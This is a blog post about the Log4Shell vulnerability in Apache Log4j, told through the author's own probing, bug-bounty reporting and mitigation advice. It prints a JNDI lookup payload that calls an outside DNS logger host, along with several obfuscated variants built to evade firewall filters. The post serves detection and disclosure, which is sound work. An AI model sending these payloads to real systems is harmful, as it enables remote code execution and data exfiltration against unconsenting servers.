Code Chronicles
Log4Shell

Log4Shell

Zero-day vulnerability CVE-2021-44228

Jeff Tong's photo
Jeff Tong
·

4 min read

The security Twitter and blog spaces were ablaze Thursday night (12/9) and Friday morning. Screenshots of vulnerable websites, applications, and even hardware devices started appearing for products from companies like Apple, Amazon, Netflix, Steam, Mojang Studios, BestBuy, etc. The bug was originally reported to Apache on November 24th by Chen Zhaojun of Alibaba Cloud Security Team. Security engineers were up late working on mitigation and patching for CVE-2021-44228 or colloquially named Log4Shell since LogJam already taken, is a RCE (remote code execution) vulnerability in Apache Log4J. Since Log4J is a popular Java logging framework and various Apache open source projects use it, the scope was wide ranging. The vulnerability could be exploited by an unauthenticated remote attacker by sending a crafted request to a server running a vulnerable version of Log4J. The server in turn could reach out to the specified URL in the payload and malicious server could send back a payload that could be a Java class. Data exfiltration through probes shown below is a risk in itself. It has a base score of 10 (critical)!

A team member brought up that Java is used as a dependency in Spark and another confirmed that it isn't using one of the vulnerable versions.

Vulnerable Versions

2.0 <= Apache log4j <= 2.14.1

Mitigation of the vulnerability can be achieved on the network layer with a WAF (Web Application Firewall). Sites like Amazon and also mitigated this way:

image.png

Other sites just crash with the user input UI or search stuck rendering.

There is GitHub project with a proof-of-concept exploit available.

Probes

I decided to do some probing myself. Our company public sites seem not to be vulnerable and/or have mitigated on the network level (redirects/blocks). I was eventually able to find a sub-site login page that was vulnerable. I was surprised since the input was Email Address. This could easily be mitigated with a regex check. I reached out to the security principal/architect/engineer that was already probably sleep deprived and let him know of the possible issue. He confirmed and later reached back out to me for a conference call. It turns out that this site is either vendor managed or we call into their backend at some point for authentication. I ended up demoing the detection method outlined below to their team and the CISO (Chief Information Security Officer). There was some discussion and they spent the rest of the day mitigating the issue.

HackerOne

I decided to do additional probing and submitted reports to HackerOne for those that were registered. I wish more companies registered on here and other bug bounty sites. For those that weren't registered here, I contacted them directly and let them know.

Detection

  1. Setup a DNS Logger or use dnslog.cn (better to setup your own if you're paranoid).

  2. Craft a message that includes the URL for the server to relay to:

    ${jndi:ldap://ti4w2w.dnslog.cn/test}

    Note that /test path is used here to indicate a probe/test, but actual exploit would use /a.

  3. Send the request via browser to any user input field such as search or login. Or use a BurpSuite, scripts, or similar tool to scan and automate submission of the payload via URI.

  4. Monitor for relay to the DNS Logger image.png

Those are AWS IPs.

Mitigation

The best option is to upgrade to a non-vulnerable version such as 2.16.0.

When upgrades are not possible, a web application firewall or some other network appliance could filter out requests with jdni scheme or string. However, this could worked around if your filtering logic/regex is weak. The examples can circumvent this type of scanning/filtering based off log4j's variable expansion/string interpolation syntax:

(${${::-j}${::-n}${::-d}${::-I})
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}
${${lower:r}${lower:mi}}
...

Summary

This zero-day is still causing quite a stir. For those that weren't in the know, tools like Snyk, npm-audit , and pip-audit are very useful in detection vulnerabilities in dependencies. These tools should be run as a local githook or part of the CI/CD pipeline. Open source projects are not impervious to security flaws even with vetted pull-requests, see this study/paper or the summary on The Verge.

References

SecurityJavaapachelogging